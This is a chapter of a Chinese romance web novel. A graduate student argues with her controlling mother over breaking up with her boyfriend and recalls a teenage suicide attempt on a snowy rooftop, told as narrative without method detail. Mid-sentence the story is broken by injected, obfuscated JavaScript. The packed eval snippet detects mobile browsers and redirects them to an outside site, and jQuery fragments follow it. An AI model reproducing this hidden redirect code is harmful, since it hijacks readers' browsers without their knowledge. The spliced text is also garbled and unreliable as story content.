距离有时确实会产生美。


    但那更像是记忆的一场善意骗局。


    小区的路灯年久失修，频频乱闪，在地面上打下昏暗光晕。岁岁四爪刨地跑得飞快，南韫在后面不时拽一把牵引绳防止暴冲。


    二楼住了户老人家，有捡拾废品的习惯，经常堆放在自家门口，将路堵得水泄不通。


    南韫不得不绕开满地瓶罐和纸箱，拾级而上。


    岁岁左嗅嗅右闻闻，似乎是在寻找熟悉的味道。


    岁岁到家时间不长，却一点都不认生。南韫每晚固定带它出去遛弯，走的也是固定路线，才一周时间，它在家周围嗷呜一声，就能引来三四只好朋狗了。


    这也算给了南韫一点心理安慰。


    自从跟常熙雅聊过之后，她没有再去课题组，反而日日专心陪伴岁岁。训练它上厕所，玩玩具，每天带它出去遛弯三次，原本郁闷的心情因为活泼的岁岁散去了不少。


    这段时间，她尽量减少与周砚的交流，努力让自己冷静下来，能够清晰仔细地审视他们之间的关系。


    周砚倒是来找过她一次，也被她淡淡地打发走了。


    他们本就已经过了如胶似漆的时候，谈了一年多又没有再进一步的打算。周砚即使看出她的态度有些异样，也只当是小女孩闹脾气撒娇的情态，短暂安抚了几句，又被一个电话匆匆叫走。


    微信上，周恪言的头像再也没有出现在她的列表里。


    他们的聊天记录终止在他发来的一张岁岁磨牙的照片上。


    岁岁的精力似乎无穷无尽，南韫在浴室里洗澡，它就扒着浴室门呜呜大叫，仿佛要冲进来救她。


    她对着镜子往脸上擦面霜，岁岁又绕着她的腿转来转去，尾巴像条小扫帚在她的腿上四处乱抽。


    南韫低头小声训它：“轻点儿。”


    岁岁毛茸茸的脑袋仰得高高的，以为在表扬它，尾巴摇得更起劲了。


    南韫哭笑不得地摇头。


    洗手台上的手机骤然震动，她偏头望去。


    屏幕上跳出的视频请求，竟然是母亲。


    南韫指尖微顿，擦净手，深吸了一口气，才按下接听。


    “妈。”


    曹云秀坐在红木沙发上，老花镜后的眉头习惯性蹙着。


    “睡了吗？”


    “还没，刚洗完澡，您有什么事吗？”


    “没事不能给你打电话？”


    “那倒不是，只是您每天要管那么多学生，挺忙的嘛。”


    曹云秀叹了口气：“说起这个我就来气，上次去看中医，说我虚火旺盛，气性太过，遇上那群皮小子，我血压能不高吗？”


    她们素来没有通电话的习惯，基本都是南韫隔半月致电一次，也不会分享生活琐事。所以母亲深夜来电，还句句不离闲话，让南韫无所适从。


    “是……身体有什么问题吗？”


    “……不是，这不是快放寒假了，你什么时候回来？”


    南韫想了想：“大概一月底，腊月二十五左右。”


    “这么晚，不能早点吗？”


    曹云秀脾气暴躁，在垣安临照高中常有“灭绝师太”的凶名。今天话里话外却都是踟蹰之意，更让南韫摸不着头脑。


    “您……是不是有话要说？”


    她讲得直白，曹云秀也吁了口气，似乎要说什么，父亲的半张脸却闯入镜头拉住她：“你别跟孩子说了。”


    “啧，”她甩开父亲的手，“拜见长亲本来也是应该的，有什么好害臊的。”


    “我跟你说啊韫韫，今年周老太爷八十大寿，准备在垣安风风光光办一场，也算是了个老人家的心事，到时候你备份厚礼，跟着周砚一起去露个面。”


    垣安是个小地方，有什么名人轶事，不出一顿饭的工夫就会传遍垣安。


    周老太爷身体不好，有心脏病。已经做了两次支架和一次搭桥手术，老人家想在家乡风光大办一回，也合情合理。


    南韫坐在床上，垂眸迟迟不语。


    “听说是腊月二十五，你早点回来吧，再挑点好东西，”见她不说话，曹云秀不满地啧了声，“不愿意？”


    “我告诉你，到时候去的人肯定不少，你这个准孙媳妇再不殷勤点，那些人背后还不知怎么嚼舌根。”


    她无意识地用拇指指甲轻刮食指关节，仍旧沉默。


    久到曹云秀耐心耗尽，即将发作时，她才抬起眼，声音轻得像怕惊扰什么。


    “如果……我想跟周砚分手呢？”


    说完这句话，她便将手机屏幕轻轻扣下，仿佛在等待一场风暴的降临。


    果然，曹云秀的声调陡然拔高：“你说什么？”


    那声音如同指甲狠狠刮过黑板，尖利刺耳。


    她心头一抖，一种深植于心底的恐惧无法抑制地涌了上来。


    “南韫，你是不是读书把脑子读坏了？”曹云秀气得声音都变了调，“周砚家世这么好，又肯对你好，你上哪去找这么好的男人？”


    “可是……”


    她想说，可是她不必靠男人也可以好好生活。但话到嘴边，却像是知道画面那端接下来会有什么更剜心凌厉的回答，又硬生生咽了回去。


    见她语塞，曹云秀更笃定自己的判断，冷笑一声：“可是什么？我看你就是在外头待了几年，心都野了，干脆退了学回家来，安安心心地嫁给周砚做富太太！”


    “可我不想做富太太！”


    忍无可忍，这句话如同开闸泄流的洪水，难以自制地从她口中脱口而出。


    说出这句话时，南韫的右手腕无法控制地轻颤起来。她不得不把手机扔在床上，用左手紧紧抓住右腕。


    腕表被推上去，露出手腕上那道狰狞凸起的肉痕。


    “你——”曹云秀呼吸倏然急促起来，父亲慌乱的声音插进来，“韫韫，别跟你妈顶嘴，她前两天刚被学生气得犯了高血压，现在还吃着药呢！”


    南韫眼前发黑，嘴唇哆嗦着，一个字也说不出来。


    “我告诉你南韫，你以前那些事已经让我在垣安丢尽了脸，如果你敢跟周砚分手，那就先参加我的葬礼！”


    咚——


    如一记闷棍敲在心上。


    南韫猛地掐断了视频，世界骤然陷入死寂。


    她瘫坐在床沿边，一种熟悉的绝望从她心底最深处缓缓上浮。


    仿佛平静安详的湖底有一具陈年的尸体，某一天从湖底浮上湖面。她凑近了一瞧，发现那个人是十七岁的自己。


    她突然又想起那个冬天，那场大雪。


    上大学之后，她常常回想，自己为什么会在那一天站上天台，想要结束一切？


    真的只是因为翁思淼的陷害，或是校园里沸沸扬扬的流言吗？


    她想，好像是，又好像不全是。


    因为她站在天台上，出奇地没有完全想起那些人对她的攻击。


    她记忆里最清晰的，是母亲夹杂着失望和愤怒的眼神。


    *


    母亲对她极为严厉。


    从初中


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613215|187367||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    开始，她就经常在凌晨的台灯下与星月同伴，以保持优秀的成绩。


    其实她有点偏科，化学成绩不好，只能用付出加倍努力追赶他人。


    高一那年，因与翁思淼交往过密，她的成绩一落千丈，母亲极为生气，她的刷题时间又被延长到凌晨一点。


    长期睡眠不足使她大脑一片混沌，成绩不升反降。


    母亲认为，这是她在阳奉阴违，于是更生气了。


    后来她作弊的丑闻以光速传遍整个学校。


    对着外界指指点点的目光，母亲大受打击，消瘦了很多。


    母亲是名老教师，要强了一辈子。


    面子对她而言，某种意义上比命还重要。


    她说，我以后还怎么见人，不如死了算了。


    在语言的大山面前，她渺小的宛如一粒沙。


    她只能选择忍受，或者逃避。


    或许是长久的睡眠不足击垮了她的神经，又或许她已经厌倦了母亲的逼迫和烦躁。


    不知不觉中，她变了。


    起初是连日的困倦，即使站在教室后面，依旧昏昏欲睡。


    后来逐渐心神分离，明明有人在对着她说话，看到嘴唇一张一合，可就是听不到在说什么。听着听着，她还会突然神游去做别的事。


    到最后，她连最基本的课程都听不懂了，每天做任何事都提不起劲头，整个人仿佛被塞进一个透明的玻璃罐子。


    只觉得，真无趣。


    一切都灰蒙蒙的，吃着饭眼泪就和进饭里被她一起没有滋味地咽了下去。


    一切都在褪色，连痛苦都变得麻木而遥远。


    直到那天，大雪覆盖了整个垣安。


    白茫茫亮堂堂，亮得刺眼。


    她像是被这刺白唤醒，眼里有了新的色彩。


    她终于有力气爬上了六层天台，站上了那片窄窄的，混着沙砾的混凝土天台。


    寒风裹着雪粒，刮在脸上像刀割。她用手撑住冰冷的水泥台边缘，粗糙的沙砾磨破了掌心，渗出血丝，她却感觉不到疼。


    她在悬崖边缘，坐了很久很久。


    久到她的腿都冻僵了，几乎成了一座雪人。


    “很疼的。”


    身后蓦地响起一个声音。


    那是个男声，声音平静得如一泓泉。


    南韫起初以为自己幻听，便没有理会。


    可默了默，她又听见那个声音：“下了大雪，你会埋在雪里，血洇出来，无声无息，没人知道。”


    他说的话太过诡异，南韫甚至以为是牛头马面在给她做临终关怀。


    她下半身已经失去知觉，便没有回头，只轻声道：“没人知道，那就太好了。”


    “是吗？”那声音带上一丝疑问，“如果你真的这么觉得，不会现在还在这里。”


    他是在质疑她的决心？


    还是以为这不过是一场以跳楼相胁的胡闹玩笑？


    南韫愤怒起来，她垂眼向下看，却被风吹得不得不用指甲扣住台子边缘，石子儿滚落埋进雪里，连一丝声响都没发出。


    她落下去，也会这样吗？


    她心头突然窜起一股无名火气，猛地扭头去看，风雪迷了眼，只模糊看到一个清瘦的身影站在不远处的阴影里。


    她的声音因寒冷和愤怒而颤抖：“你是专门上来嘲讽我的吗？”


    “我只是想告诉你，”他的语气依旧平静，却有种穿透人心的力量，“其实你并不想跳下去。”


    她骤然怔住。